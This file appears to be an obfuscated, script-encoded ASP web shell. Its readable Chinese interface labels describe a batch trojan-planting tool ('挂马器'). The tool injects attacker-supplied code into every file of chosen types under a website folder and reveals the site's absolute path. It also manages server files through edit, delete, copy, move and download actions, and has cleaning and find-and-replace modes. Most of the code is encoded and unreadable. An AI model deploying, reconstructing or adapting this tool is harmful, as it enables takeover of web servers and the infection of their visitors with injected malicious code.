abPK]1,'~EU+D-nMRc2Xn1J'rED+u:DmU/6+.#v$~wDTe-w`*JJcMEJr@#@&d7/nP,HCY142kPx~M2onpc2p21;D+c6k^2YoK*@#@&idWWMP3C1tPt)Y;CPbH~:zY;t3?@#@&id7YwrVPx~M+wJ);2c:b9vHC:Z4R.zV!n~,kH/:Dc\mKm_ \mVjAS~JrJr#~_~qBPJ2 c:zY/uc\bJ;#~O,rg/O"`tbK1Cc-ldE3~,JEEr#P ~F*~JJESJ'J*@#@&d77b0~1}OP1tn/026Oc6/GFU V2O(D+xUkKU1z:n`:s(s##,OC1@#@&77dimmSsPd^m1Wq^n`,Hr9vsqJ3hlPtBqBkUUK"D+7`wrVAnCK4~Ewr##LP0&S2B~]+hVmZn`Wrd22b:u~U+.-DR\CanCY4cr-E*[r-JBJrSFBFSF*Pb@#@&ddi7/`:sbJ3/,',/;:o(d2dP3~F@#@&77i21[~&0@#@&i7g2pD@#@&ddU+:~HzY^C?~x,1rD4qgM@#@&77/AY,I3M3a,'~xKPtbx!@#@&ddjnDP.+T3XPx,1hPM+Vn6a@#@&diD3L6Rb!1KD2;Cd+,',K.jn@#@&d7I!2XR!J}4lJ~{PPD`n@#@&7iDM+oRhCKD2.x,'~EU+D7nDc`2Xn^JLJ!YnuP.mxd0.#v$~wDTekwv#,7rEY-br@#@&ddbs,.+T+pRD2dOv0kdnKoY#,O42g@#@&d7d]naW.Y,xPM+KGMY[E@!DD@*@!D[@*J':2tn[r@!JON@*@!ON@*?n.7+Dc36mJLE;Y@!JY[@*@!O9@*@!0KUY,mGsKD'.n9@*不能跟踪检查j+M-D JLJ6m!O+v#函数执行的文件。@!z6WUO@*@!4M@*JLkxwrs2U[r@!&Y[@*@!Y[@*r'oY[C:+m]nzK3`w(^+KzY_#[r@!(.@*r[!2:NCPAHWG(0H`0bs3nmY4#'J@!&DN@*@!JOD@*J@#@&iddjigPxPU;gPQ,F@#@&di+ [Pbs@#@&idj3DPHmPZ42?,x~1KY4qHo@#@&idd2D~IMnp,'PHGDCr1T@#@&d7U2:P6"+T3(,'~xAh~]AM+X2@#@&ddo]3MA(cqL1G.ZC?A~',Y]iA@#@&77XD3opcoJKAmSP{P:]j@#@&di6]3T+6c2lDK+MU~',J@!/^DE'rk2Y'devRkw #e_.!xCY'dC'wkerJgk+M-+MJEgvRkw #eQ@*J@#@&dijnK,6tbPmunkPxPo]+V+p 62^;D+c0&sKa:#@#@&dis}]PAl^t,H)O;CPbUPX:b:/u2U@#@&d7dP\aV)|A+P{Ph(G`H)O;t \ms!2S,FBPq ?:]`tlPm4R-CdE+B~J@*J#*@#@&didUI/?nnnPxPbU?DDcqBPKh2^lV+yS,JdMmr~P8#@#@&did(0,?./U++0~@*,!PDu3x@#@&id7dd.1/320+P{P(HUKDcj"mj2FBPOtn^b3 B~J{Jb@#@&d77i0WM~q,'P8~Or,*Z@#@&d77idO:h~',:r[vK:KJm3n B~UI/U+A| ,_,(~,Fb@#@&d77idq6~YtnP@!@*~J,J,lHf~Psw~@!@*~m_Ic1*PbH[,Khw,@!@*P-~Z"Ss,Y431@#@&7did77A(qD~0KD@#@&77did19P(W@#@&7di7x(O@#@&dd77&s~YtK,'~rJrJPDtAH@#@&d7didP\h1ls3P{P:b9cKswdlF2+S,/.mkn20 ~Q,kPQ~8~~k d:IckI;?+A3y~_,q~_,FS~DHwd)|A ~,EEJr#,O~?]/k+33y~O,k~R,F#@#@&id7dsU2@#@&diddiq6~qg/ODv/./U+20+P3Pq,Q~FBPDH2V)FA SPr~J*P@*~ZPK43gPPHhHm:3,',:k9`:\n^bF+y~~dMZ?n3yP_,rSPb1UY.`j];?n2n+P3Pr~3PFS~:HKVzVA S,J,J#,O,dI;?n2n ~R,q#,nSk2P:\K1z:APxPPhhS)3A+@#@&d77idko~&1dK"c::2glt+~,Z_.`O#bP@*PT~:C2g~Ysn1m\3P{Ptk[`Phh1C:ASP8~~rg?K]c8~~Yt2 l\A~,ZtM`Ob#,O~F*@#@&7iddi(s,kxkO]`:Hax)HnS,.8mMJ0*P@*~ZPYu3 PP:hHm:3,',:qG`:\wgl\2BPqS,kxkOIvF~,P\ngbt+SP#$1Dss*~O,Fb@#@&dd77iqoPbHUK]vKtn1m:SPr@*E#,@*~T,KCHP::w C\2,',H(fcOsnUltn~,FS~&x?P.vFSP:hhx)t+BPJ@*J*~O,Fb@#@&d77i2x9~k6@#@&i77d;b^S~?/)g0rSAcPtq[cwqV32mK4~8S&1j:IM+.v0bs2hlOtBJwE*#[:hwgbH~SPM+aS)Z3cwkJ+hCK4~jn".+] tl2nmO4`E'J*[J'JBEJBFSFBFbb@#@&di7dkEH6(s+UP{PdEhWbSn?,QP8@#@&7id2U[,kW@#@&7ixnXK@#@&di?OPtlPm_2d~{P1}Otb1o@#@&7dU+:P]+!nXPxPg6K4qUL@#@&d7jAY~IL6~{Pg+,IL+Xw@#@&id]nT+(cro rIA/C?AP{POIin@#@&7dMno6 !^rACJ,'~YMi@#@&id"2MA(c2b:Y3IgPx~rZDCYrJLE8LmD$~uwOYew`cM-*J@#@&id/3P,HCK;4A/~{PM2M(c3(m;Y`W(d2KoP#@#@&dioGI,+zm4P\):m4P&UPtlO/_+/@#@&id7q6~&xjDDv:l:Z4 \mS;2BPE'r#PK.Pb1/D]cHmY1C .)J!2SPrQJ*P6],qxjOM`\l:/_R#zS!+~,JrEJ*PxPZP6],qxUOIvHbD^uRjldj3~~EvJbP@!@*P&xjOMD2-csbOZ4 7bs`+BPJvJ*~Y_+U@#@&d77iD+h6D:P',.nnKI:[E@!O.@*@!ON@*E[:+hKLJ@!&O9@*@!Y9@*;DnmYr[Jr(%+1Y@!zDN@*@!DN@*;.+mJ[rOnr(LmO函数使用了变形技术J'(gsrVd[r@!&O9@*@!O[@*J'MO9bOm"+l:2vWkd2KlDtb'r@!4M@*JLo+:[)YAHKNr0zc6qJ2hCY_#'E@!zY[@*@!zOD@*E@#@&7idi/j P{~?!x~_,F@#@&iddi3(&KPki8@#@&did3x[~&s@#@&i71(O@#@&ddj3DP\l:/42j,',xr:t&HM@#@&7dk2P~M2oAaP{P1KPuk o@#@&72H[,kW@#@&7/AK~G6kV3~{PUWDu&1L@#@&i/+DP6dW8?~',1GP4k1V@#@&A1f,d;4@#@&wEUZOr}x~m_3m02pPvsksn(P#@#@&iqo,N&HsbV36:PxPreE~:t+g~m_+m0npY,',K.j3@#@&d3(:~',/KJbK`[rss(V3oYSr~r#@#@&dw6D,q~',!~P}Pj~6E f`ApP#@#@&idr0~s1bd2vWq^2na:#Px~6O`&b,K41,@#@&idi/tmF2oK~x,YI`n@#@&ddinpqDPwjHZO(}1@#@&i7+ f~r6@#@&7H(O@#@&3gN~wjgmK&rg@#@&6jUZDqGH,M+D[l:+HK9rsH`6kJ+2C:tb@#@&7/AK~oy?W~x,m.+zOAr8N21Y`r?1.kaYrxTRor^+?HdY:r(%nmDJ*@#@&P~~,?3K,oP{Po+krR!n:srVAcwksnmYt*P@#@&dUPxP6R9):+VmdYsWf&Wr+9P@#@&7?3O,s~',Hr:C(UT@#@&7jAY~sydKPx,1}Kt&xV@#@&ionKGbP3tWfboX,'Pk@#@&2 f,s;1/ObrU@#@&oj mPrKxPL3DfCK^"+C:2v0qd2hCY4#@#@&i/3O,s&U6P{Pm"3)YW~LnmPcr?^Db2YbxL wkVnjH/O+s6(Ln1Yr#@#@&P,~Pk2PP6Px~w&?} MAK0bs3`wqd+KbOu*P@#@&ijP{Po GbK3^M2)K[,@#@&i?KP6P{~1}K4qgM@#@&i/2:~s2?W,x~1KY_qHo@#@&ionK9CKZ]3zY+~x,/@#@&UGPW!1;Yq}1@#@&0`x/K&WU~:jI^311WNAcjK"#@#@&7Y3hhPxP"3w^b^3v?Y]S,JYJB~r]+lJ*@#@&iKhw,'~IAnsC;2`:3Hh~Pr:E~,Ju fJb@#@&dP+s2P{P]naVb/3vK3:hS,J'r~,J]yvrb@#@&dOj"V3H1WNA~',K+s2@#@&A19PWEU^Dq6x@#@&/`A~j_rCsd0rS+vnC:C*@#@&i?AOP6cdW,'~^M2lDnr(L+1PcJUmMk2YrUTRok^n?H/Onsr4%n1YE#@#@&iko,1KYPwck6RwWsND3ab/YkcnzYC*~PCAx,+aqO~kj8@#@&7?K~W,'Po*kr MAO6rsG2M`wmY_b@#@&dj+:Po^yP',WR6kSAj@#@&is}I~+C^4Ph56(SAP(U,sm+@#@&d7kw~;Cn1|A(Yv0WdWcMnY(On ?kKHxzH+v2CK_[r-E[\e6qJ+cHls+bb,KC3U@#@&7di^mVs,qkskgNv2lDC'J'J'\I0qdnR l:Ab@#@&idi/i:o(d+jP{~/!:o(d2/~Q,F@#@&i7x9,q6@#@&i1ApY@#@&7?AK~W;P',oRUj46GsNADk@#@&dW6MP3l;4P6F~r P0/@#@&d7?4GSbJds&V2yPhCK_[E-r[Wqcxbtn@#@&ddUihs}V92./~x,/;:66VG+.d,_Pq@#@&P~P,UA(O@#@&i?+:Pw*?KPxP rO4b1M@#@&+gNPki8@#@&?!4~qdW&x9`D4+alP4*@#@&7P4+[bD3,'~V2:fb:2s6fbsz`Dtn2mYt*@#@&irx,3]D}D,Dn?;\PH2oO@#@&dPuAY:K~{PhqGcDt39l:+~,FB~kg?PDvKun9bKSPrPJ*~RP8#@#@&7ko~AD]P:4+ P3a&KPdi~@#@&do[mY3,',?n^qDcIApi+UK W}DHvE?lD14mfmYJb~EIr#@#@&i(0,Dn5!+?P wW.HvEU+CMm4{fmYE#,'~JzSJE,KCAHPmSSD(\2,',K.E3@#@&dorM~q,'~T,Kr~i~rix9cofC:2*@#@&id&WPDC3Ktn~x,6fzP2vk#,G]PmVdYrHn~{POI!nP:tnU,@#@&77iqWPMn5EnUYvJ?lM^t|ZGxD+UOr#P@!@*PrJPD4n1@#@&id7ddnDPo?K+?,'~/M+lPn}A%21PvJj1DbwYbxT sbVn?H/Onsr4NnmDJ#@#@&7didk2PP6WbS3P{~0kW+jcWw3U:+pKwr^+c:tAwb:tB~FBPob^?3S,O *@#@&iddiW(VKoK~'~s;bd2vGsbS3 M+b9)dSc#*@#@&d7id&sP&xUPIvPok^+PaD~Pd^bU+`"3}EA/DRor]hvJj+m.m4{/G Y+UOr#b#,@*,!~DtAx@#@&di7diYnHhPx~r@!l,4D0'rE4YDw=z&J'.pi+UPRk+]#AI\).bb8SjvJdD7+D|xmh+r#'JJJ'P`DSHZ}N+v]3w^l12cD3K^b^+vPCAw)P_~?3.j+.Rs)aw):tvJ-r#LE-r~EJBFSqBF#BE-r~JJEb#LJrJ~YC.T+O'|8VmxV@*r[I3K^b^+vP_+2zY_~/ADjnDcH)nabPuvJ-rb[r-JBEE~8~8~q#'E@!zC@*r@#@&,P~~:2H2x:+\wLE,→P@!mP4D+6'E%l7ldmMk2O=sE^ssKD:vEEJLIAwsl/nvInwd)m`or^2wCO_~d+M#D tlhwlDCvE-r#'J'JSEr~FBq~8#~rwE~r-'Jb[EEr~EJA[kDsrsJJbv,mslkd{BCsB,YkDVxB编辑E@*3NbY@!&m@*Pr@#@&iK2tKxYA:h[E@!C~4Dn0{vLm\Cd1Dk2O=s;V^oKDhvJrJ["2hJb12cDnJ);+`w(VnbD4S?D7+.Rh)an)K_cJ'Jb'r-JSEr~q~8S8#Sr-r~J'-rb[rJE~rJ9n^sk^nJr#B,~Gx1VbmV'v.Y;D ~X/GVv#B~^^ld/{vm:v,YbYV'E删除v@*G+s@!Jl~@*,J@#@&7YHw{O3:h[r@!CP4.0xBNC\m/^.bwYlo!VssK.s`ErJLD+aVm^+vI3w^l^nv0kdnnmKCBd3Ij+"Rhl2KzY4`rwJ*[Ewr~JES8~q~8bBJwr~r--r#LEJr~EJ;W2zwkVEJ*BP1sC/k'ElhB~ObYs+{v复制B@*ZG2H@!zC@*,J@#@&iP:2{Y:nLJ@!CP4Dn0{B%C7l/1.kaY)w;sVwWM:cJEELInn^)m`.nhSb^nv0rVAKzYuB/D.IchlhwCK4`Ewr#[rwJBJJBqSFBF*~E-ESr-wJ*'JrJSErHW-nwks+rE*B~1Vm//{BmhB,YrY^+xv移动E@*HK-+@!zl@*E7@#@&did7I32KIPP{~Dw6]D[J@!OM@*@!Y9~4+rTtD'&Z@*r'YA:K[r@!&O9@*@!D[@*r[oP9l:+;D3lOnvYu+h)Y_#'E@!zY[@*@!Y[@*r'DCn9l:2[r@!JON@*@!&YM@*E@#@&ddi7d"+nK]OP{PM2KW]PLJ@!YM@*@!DN@*ELY2\KLJ@!zD[@*@!O9@*r[MK9CKm.+zY3cDt+h)K4#[r@!&Y9@*@!Y[@*E'DC3fmO+LJ@!&DN@*@!&DD@*J@#@&id7idkE1,',dE PQP8@#@&7iddin6bYPU;$@#@&did7+U[,kW@#@&7did6obS+ /^rd2vb@#@&7idi?+DPKoq^2~',xGO_q1V@#@&iddij3Y,sUW+/~x,1GK4(xV@#@&7id2JdA@#@&di7iK3sw,'Pr@!m~tM+W'rJ4ODw)J&JLI+$i3/:RU+].3.7l.kz$S/cEk+D-nM{Ulsnr#'rzr[Y!D^nx1r[2vI3K^lmAcDAnVz^3`6qd+2lPuB/nDj3Dc:)2hbYucr-E#LE'JSrJBF~8~8b~r-E~rzEb*[JrEPDlDTnO'|4^lU3@*ELD3wd)m`O4nlPuB?3Ij3"R\mnhlK4`rwJ*[E-r~EEBF~8SF*[J@!&C@*,J@#@&~P~~D2\n{O2sn'E@!lP4.0xBNC7ld1DbwY=s!sVwW.:vJEELD+hsb1+`M3KVmmA`Wks3hlPCBj+"\n.c:l2KmKu`rwr#'r-r~Jr~8SFBFb~r-ESr--rb[rJJBEE29kDsrVnEr#vP1slk/xvm:B~ObYs+{v编辑E@*39kD@!zm@*,E@#@&dO+swxPHwLE@!mPtMnW'ELm\C/^.bwO)w;V^sG.s`JEELD3n^C;2cM+hSb;+vok^+Kl:tSdD..Rsbwh)PtvJ'Jb[Ewr~EJBq~8~qbBJ-ESr-wJ*'rJEBJrf+^sbs+rJbB,PGU1Vk1V'ED+D;.x,X/G3cbEP^Vmd/{BChEPYrO^+xB删除E@*G+s@!zmP@*,J@#@&d:+\w{K3\h[J@!CP4D+6xvLm\m/^Dr2D)oE^ssKDhcrJJ'.nJl;3vD3hSmm2vsbJ2alPCB/3]j2Ic\bhwlDucJ'J*[E-ESrJSFBq~8#SE'J~Ew'Jb[rEr~ErZKwXwk^nJr#vP1VCdk'BmhB,YkDsn'E复制B@*ZGwz@!Jl@*Pr@#@&iKn\a'K3\a[E@!m~4Dn6'ELl7lk^DbwO)wEsswWDscJrJ[MnKVmm`]+Kszm3`w(SnCP_~/3.j2.Rs)an)DtvJ-r#LE-r~EJBFSqBF#BE-r~J'wE#LJrJSJE\K\nsbs+rJbv,mVCdk'vlsv,YrDV'B移动E@*tG\@!&l@*J7@#@&ddi7DAnW"P~',IAw6DO'r@!OD@*@!Y9P4nbotOx2!@*JLOA:2LJ@!zY9@*@!ON@*J'oK9C:2ZMnb:2`DunnmY_#'J@!&DN@*@!D[@*r[O4AfbO3LJ@!zD[@*@!&DD@*J@#@&di7dkEUP{PjigP_,q@#@&ddi736bK,?i4@#@&id7+g9Pbs@#@&id2H[,qW@#@&7g+p:@#@&2xGPki4@#@&~P;bd3,Jw^L:r@#@&k3]\Dc?/I(KDY(H6j:'qTZ!!TT,@#@&DAjhWUk+cAjw0]'wlJ?AP@#@&MD?,cJ@!4@*当前网站绝对路径=Eb[U+".3D hmn2bDu`rzEbL`J@!&(@*E#@#@&z/2|/AS0{DA}jA/PRk+]-AD.z]qmASAjcJhb:CmqHo}JbP@#@&?{D35!2?Ocr0[J*~@#@&(wPU'JrPDu2gPj'U+]#DRt)walK_cEzr#@#@&3(x]p;+UP`r+aE*P@#@&K:CxD}`2j:`rwY4J*~@#@&1nh;xPxM+;!3?:`J nAm Yr#~@#@&)Gf^WGnP{P]35E+jPvJ^W9nr#@#@&k6PlGf;6f'EJ,Yu3 Pb99mKN2{E你的代码E@#@&qwP36@!@*rJ~b 9PhKu@!@*JJ~P_2HP@#@&k+sAm:Pmm?A~+XP@#@&;ljn,J+9rYrP@#@&/CV^P6qs+mj_r `hPC*P@#@&1b/3~r/C\E,@#@&1l^VPwqdn{kb#+vnOu*P@#@&319P/As3Z:P@#@&3Sjn,@#@&D"j`r@!WGM:PhnDtGN{Ern6UKrJ@*,J*@#@&"Dj`r@!OC(V+,Ak9Yt{X!,4KD[+.xrJTJr~/DXsn{JJWG YR/b")qywXiJr@*rb@#@&I]?vJ@!OM@*J*@#@&"I?vE@!Y9PSk[Y4xrJq!yEJ@*要挂马的文件夹Pc绝对路径b:@!zY[@*r#@#@&".k`E@!Y9PhbND4'rJf*OJE@*@!kxa;Y,YXanxJrY6OJE~ lh+{EJ6NEE,\ls;'EJr'k[ErJ,/k.+{!@*@!&Y9@*Eb@#@&DMd`r@!Y9~Ak9Y4'EJ1rJ@*[ 8/ai@!&DN@*Eb@#@&.Ikcr@!&DD@*@!YM@*@!ON@*要挂马的代码)@!zDN@*E*@#@&M.?vJ@!D[@*@!D+XYCDnC,xC:xJrmG[JJ~^KVd'l0,DGS/{JJ2Jr@*JLl[f;r[nLJ@!JO+XYlMnC@*@!zDN@*Jb@#@&I]?vE@!DN@*@!bxw;O,xC:xrJd!4skYrJ,OXa+xJr/;8skYrEP7lV!nxJr开始Jr@*@!zO[@*Jb@#@&]IU`E@!JYD@*@!JYC4^n@*@!&6WM:@*,J*@#@&Ax[P&0~@#@&sE ^YbWx,(dnmYD+.xc2mYO~kOD*P@#@&U+Y~.o36{Hh~"+T26aP@#@&Do36cnCOD+D xwmYY,@#@&DoA6 qLUKDnZmd+{K.;P@#@&.Y#l^xM+LA6cK+kYvdYM#~@#@&?nO,D+T36{1WD4rxTP@#@&(0~.Y#l^xKMEn~:t+U~@#@&(/hCDYnMx{KD!+,@#@&AVd+,@#@&(knlDO+Mx'wCs/P@#@&3x[~&0~@#@&3x9Po; mYrG P@#@&bW,Dn$E/Yc0K.:vJdE(:rOr#@!@*EJ,YtU@#@&&0,/xJE~KD~l9[mKNnxrJPP4x@#@&"]UPE@!0KxY,mKsWM'.+9@*请输入挂马的路径或代码Z@!J0W O@*r@#@&MndwKxk+ +U[@#@&nVknP&0~(knlOODU`r,%l8Y 88)PF)c-'uwz*JSd*PK4nx,/m4~dP@#@&Ax[P(W@#@&nx9~k6P@#@&UE4~d1tc/*~@#@&GgPID}D,.2kjh2,x3a:P@#@&j+DP0kxj+M\D m.nmYnr(%+1YcEUmDr2DkUocobVnUXkY+sr(%+1YE#,@#@&jYP6['6/RVnOsKV9+.`db,@#@&?OP6kxW9Rsrs/~@#@&jY~k0{0Nc?!8sKV[+M/~@#@&sWM~2mmt,W~k P6k~@#@&.Dxx0c2lDt~@#@&/Yn2|lsV,.Dx~@#@&g+6DP@#@&q6Pd0cZG; Y@!@*TP:t+ ~@#@&wWMP3l^4,V~q ~/6P@#@&kmt~s,@#@&1aDP@#@&2 NP&0,@#@&Ax[PUE8~@#@&?!8PkY+amCV^`mo.#~@#@&DnYjCV{qdKmYYn. `E`'w--&*`9+0mE^Oubx[+XuXTl#-cctD:u4OhV-lkwkldC-ldwXkw4wk%kwu^Lbu%/*w(JSmoM#P@#@&&WPM+O.mV~P4+x,@#@&kY+aq~lTD,@#@&/Ona ~lT.P@#@&3sk+P@#@&A6rY,j!4~@#@&AxN,q6~@#@&2UN,?;8,@#@&U;4,/Y2q`kYMFb@#@&]"?~J@![k7PdOHV+xv^kU+ 4kL4Y= !a6E@*√Pr[dYMF'E,{J@#@&I"/Pr@!CP4D0xB%C7ldmMrwD)o;^VsG.s`EJr'M+2^l1+`kYMq~r-E~r-wE*[JrE~rJfKAUsbVJE#v~1VC/kxBm:v~DkYsn{B下载v@*GGSx@!Jl@*PJ@#@&"]?,J@!l,t.n6'BNC\m/mMr2Y=s!VssG.s`EJr'DwsC1+`dOMFSJ'EBJw'J*[JrJBEJANrYwksnrJ#E~m^l/kxvlsB,YrYsn{B编辑v@*[kD@!&C@*PJ@#@&"IjPr@!mP4M+6'BNl7C/1DrwD)o;^VsK.:vJJr'.+aVmmn`dOMFSJ'E~r-wE*[JEEBJEfswksJr#BKx1sk13xBM+O;MxPHn/K3`*v~m^lk/xBChEPOkDs+{B删除v@*G+V@!&m@*~J@#@&"Ij,J@!lP4DW'ELC\m/^.bwY=oE^VsK.h`rJr[.+2smmn`kOD8~Ewr~Jwwr#'JrEBJE;WaXsbVEJ*B~m^ldd{BlsvPDkY^nxB复制E@*;W2X@!&m@*~J@#@&I"?~E@!lP4.0xBNC7ld1DbwY=s!sVwW.:vJEELD+asl1+`kO.FBJ'JSJwwr#'JrE~rJ\G7+srsJE#E~1VCk/{BlsB,OkDVn'E移动B@*\K\+@!&l@*@!z9r-@*r@#@&2UN~j!4~@#@&jE(PdOw cdDD+#,@#@&?nDP6/'U+M-+MR^DlOn}4L^YvJ?1.rwDk o srs?z/Dn:}4%n1YJb~@#@&r/Aab/O{0kRsbV36b/O/v/O.y#P@#@&q6Pkk3akkY,K4+U~@#@&j+D~0{0d V+Yor^+c/D.y#~@#@&U+Y,0|CN9mGN'W }w+ )/:+6DjODls`0~R+*P@#@&6ml9N^G9+R .bYnPm[9mG9+,@#@&6{m[N1W[+cZsGk+P@#@&?YP6xHWDtbxLP@#@&Ax[P&WP@#@&jnDP0dxgWOtbUTP@#@&2 NPUE(~@#@&2.DcZsnmD@#@&/lk+Pr/2VT:r@#@&s2CDtxI5E/Ocr0NEb@#@&)N9^KNn,',I+$EdYvJ^W9+Eb@#@&b9[mKN+y~xP"+$En/OcrmGN+J*@#@&210ksn{Dn;!nkYcrw10k^+rb@#@&m4+138GX'D5E/YvE^tm04G6Eb@#@&jtKAHkox.;EndD`E?4GSHdTJ*@#@&wKH2+{Dn;!+dOvJs:zwJ#@#@&\'M+$En/OcrHE#@#@&k6PoOHw+xErPOtU,sOHw'J4YsktD:sum/2km/l-C/a6ua42uN/au^ork1+.u1[6r@#@&r6Ps2CDtxJ'E,Y4x,swmY4x?D-+MR\CanlD4`r-J*@#@&k6PwwCY4xrREPK.PwwCO4'JE~Dtnx,oalO4'U+D7+M HmwKlDtcEcJ#i@#@&b0Pm[[mKN'EJ~O4+UPm[N1W[n{J你的代码J@#@&b0~m4n138K6{JJ,Y4nx,m4+138GX'D5E/YvE^tm04G6Eb@#@&r0,2m6ksn{JJ~O4+U@#@&K1sr^+gl:'"n;!+dYc?n.7+DjCDbl4^nd`r?;I(nPmgb\2rb@#@&n^obV+VxkwskDcamWbV1ls+BEzr#~@#@&n^obV+ xE(WE [cw10bVn3b~@#@&KmwrV'K^wkVnVvw^0bsxb,@#@&2x9PbW@#@&I]?,`E@!(@*网站根目录@!J8@* PJLjnD7+MR\l2KmY4`r&J*[E@!(D@*Eb@#@&]IU~vJ@!(@*本程序目录@!z4@*O,E[U+.\D \mwnmOtvJRrbb@#@&I"?~J@!WKDhPsnY4W[xhr?P@*@!Nr\,dDXs'EmW^WMla2&1,60v@*@!4@*]EP@#@&k6~\'rFrPOtnU,I]?r批量挂马器R批量挂马J@#@&rW,H'E+rPOtU,I]UJ批量清马器 清除别人的网马J@#@&k6~H{JfJ,Y4n PI"jJ批量替换器 文件替换修改工具J@#@&rWPt'rJ~Y4n P.+k2W /n xN@#@&"IjPrD@!z8@*@!JNk7@*@!Ol(VnPSk[O4'FZT],4WM[nD{!@*@!OD@*@!DN@*文件路径:@!JON@*J@#@&"I?~E@!Y[@*@!r w;DPDXw'Dn6DPUls+xW9P\msE'Br'owmY4[EB~dbyn'WT@*,填“-”即网站根目录;“ ”为程序所在目录@!JYN@*@!JY.@*r@#@&kW,H{JFrPD4+ P]IUPE@!DD@*@!ON@*过滤重复:@!zD[@*@!DN@*@!rx2;DP^Vmd/{m~Um:+xv1tnm08K6v,YHw+{m4nm04G6,\Cs!+'E^tm3[vPr[1tnmV8K6'J@*~防止一个页面中有多个重复的代码@!JY[@*@!zY.@*r@#@&I"j,J@!DD@*@!Y9@*排除文件:@!&Y9@*E@#@&I]j,J@!D[@*@!kxa;OP ls+xB2^6ks+E~YHwnxD+6O~bNxBa^6ksB,\l^ExBr[2m6ksnLJB,dk.+'WT@*P输入不想被修改的文件名,例如:8Rm/2u+ m/2u2 lkw@!&DN@*@!&DD@*J@#@&"Ij,J@!YD@*@!D[@*文件类型:@!zON@*J@#@&"I?,E@!DN@*@!rUw!Y,xC:nxEsPXanB,Yz2'YnaDPrN{vwKza+EP\mV!n'EJ'sDX2nLJB,dk.+'WT@*P输入要修改的文件类型]扩展名T,例如:4Yhu4OsVklk2uat2kN/wkCkwau1Lb@!&DN@*@!zDD@*@!YM@*@!Y9@*@!WKxY,^W^WD{:f&O,60@*J@#@&b0~H{EFrPO4xP]]UJ要挂的马:E@#@&r6P\{JyJPDtUP"IjJ要清的马:r@#@&r6PH{E&rPY4nUP"IUJ查找内容:E@#@&]"?E@!JWW Y@*@!JYN@*@!DN@*@!DnXYCM+mPxm:xmKNnP1Wsd{vv,.WS/'2@*E[mN9mGNn'r@!&YaYmDnC@*@!zO[@*@!&YM@*r@#@&b0,H'r&r~Y4+UP"Ij~r@!YM@*@!DN@*@!WGxDP1WsW.x[&f,OW0@*替P换~为:@!J0WUO@*@!&Y9@*@!Y[@*@!D+6DlMnl,xC:'^G9+ ,^W^/'+~DKhk'f@*E'mN[mK[+y[E@!JY+aOmDnl@*@!JY[@*@!JYD@*J@#@&I"?~J@!Y.@*@!YN@*@!zDN@*@!O[@*,@!bx2EO~ lh+{dE(:rO,YX2n{/;4srDP-mV!+'开始执行@*P R标记解释O $成功:√~,P排除:×,,P重复:@!WKxY,^W^WD{.nN@*×@!J0GxO@*Y@!&Y9@*@!JY.@*r@#@&]]UPE@!JOm4s@*@!z0KDs@*J,@#@&k6P.n$E+kO`r/E(hrYr#{J开始执行EPO4x~@#@&]IUJ@![b\PdOHVn'Esbxn tko4Y=+*a6v@*@!4@*执行记录:@!J4@*@!8D@*J@#@&^CV^P&xd+.OzVssbs+k`o2mYtSC9N^W9nBw^6k^+#@#@&"]?r@!&Nb\@*E@#@&+ [Pb0@#@&j;4,q /nDO)^Vok^n/v2CDt~ ^KNn~a^*@#@&U+M\+MRU^DbwOKb:nG!Y'O1,O,,O11@#@&k6P.kL4D` wmOtBFb@!@*J-E~Dtnx, alO4'qwlDt,'J'J@#@&U+O~qs?}~',ZDCO+}4N+^YcEUm.kaOk o obV+jzkYn:}8N+^DJ*@#@&Kx,nDMW.PM+d;s+P n6DP@#@&jnY,0,'~oj}R!+DoW^Nn.vwCO4#@#@&UnDPW1 ,'P6R6rV/@#@&wW.~Alm4~:H0k^n~k P6m+@#@&jY~sUqP{P/.lYn6(LnmDcr?^MkaYk ocok^+jXkYnh}4L^Yr#@#@&oPXa+8'dwsrD`hX6rVRUCs+~E r#~@#@&o:X2 {E4KE [`wKzwFb~@#@&k6~sDXw+@*!,Y4+U@#@&o:X2+2xS;ldnvsKz2Fcs:za++*#,@#@&Vkn@#@&sPXa+fxr无J@#@&nx9Pk6@#@&k6P&xdY.cdZC/cw1#SJ;l/ncsXWk^ncxCs+*#'ZPmUN,qU/DDcJ;l/cs:XwbSs:Xa+f#@!@*ZPOtU@#@&/nsmY~^m/nPt@#@&mCk+,JFr@#@&r0,m4+138GX@!@*r^tm3[EPDtx@#@&jnDPO0bs+{sjqcWwnUD+aY6r^+cqwmYtLJr':H0rVRUCs+~RSOy#@#@&OWk^+ch.kOn^kU+, mKNn@#@&IIjE√,J'aCDt'sX6kVR C:@#@&Y6ksncmVKd+@#@&+^dn@#@&?Y~YWr^+q'wjFcW2n Y+aO6ks+v alO4[rJ[sX6rVRUls+SqBO *@#@&b0P&UdYM`D0rVnqcDnl9CV^~ ^KN+bxZPOtU@#@&jY,Y0bVxsUF Wa+UO6Y6rV`aCOtLJr[hXWr^+ xmh+B%SRy#@#@&O6ks+cAMkOVbx+,1GN@#@&I"?E√~,J[q2lDt[szWk^+cxC:n@#@&YWk^nFcmsGk+@#@&n^/n@#@&]"?E@!0KxY,mKsWM'.+9@*×@!&6WxD@*Pr[aCOtL:H0rVn lh+@#@&Y6ksn8RmsGk+@#@&U9Pr6@#@&?+DPDWk^+q'gWO4bxo@#@&+ NPbW@#@&1lk+~J+E@#@&j+D~Y6ksn8'sjqcW2+ O6O6k^+`qwmOtLJE[sXWr^+R C:~FBR+#@#@&g+AZG[']+asl1+cO6kVnqcDnl9C^VSqmKN+BJrb@#@&?nY,W8%;WE OsbV+{ o?}R;DnlOn:+aYwrV` 2mYt'hH0rV lh~:DE#@#@&W(L/W!xOobV+c DbY+,Hnh;W9+@#@&G8NZGE OsbVn ;VWdn@#@&]IUE√,PELalY4[sz0bVnR lhn@#@&?OPK4L;G;xDsbVn'HGDtrxT@#@&1ldn,J&E@#@&?nY,O6ksF{s?8RK2+ Yn6D0rs`aCY4[Jr'hX6k^+ xCh~q~ +#@#@&HnSZW[n{Inw^C1+cD0bV+8RMnl9lsVB^G9+~m[N;WN+b@#@&?Y~W8%;W;xDok^+x w?r /M+CYP6Owk^+`qwmOtL:z0bVn l:SKME+*@#@&W(L;W;xOobVnRq.kD+~HhZG[@#@&W(%;W; YwkVR;sWk+@#@&"IjE√,PJL wmYtLhz0bVRUlhn@#@&j+D~W(L/G!xYor^+x1KO4kUT@#@&mlk+,nVk+@#@&"IjE滚eRJ=.+kwW dnRx9@#@&+U[,/nV^Y@#@&nsk+@#@&]"?E×Pr'qwCDtL:X6k^nR lh+@#@&nU9Pk6@#@&"I?,E~→P@!l,t.+WxELC\mdmMk2O=sEsswW.:vErJ'M+aVl1+v wmY4[sXWr^+R 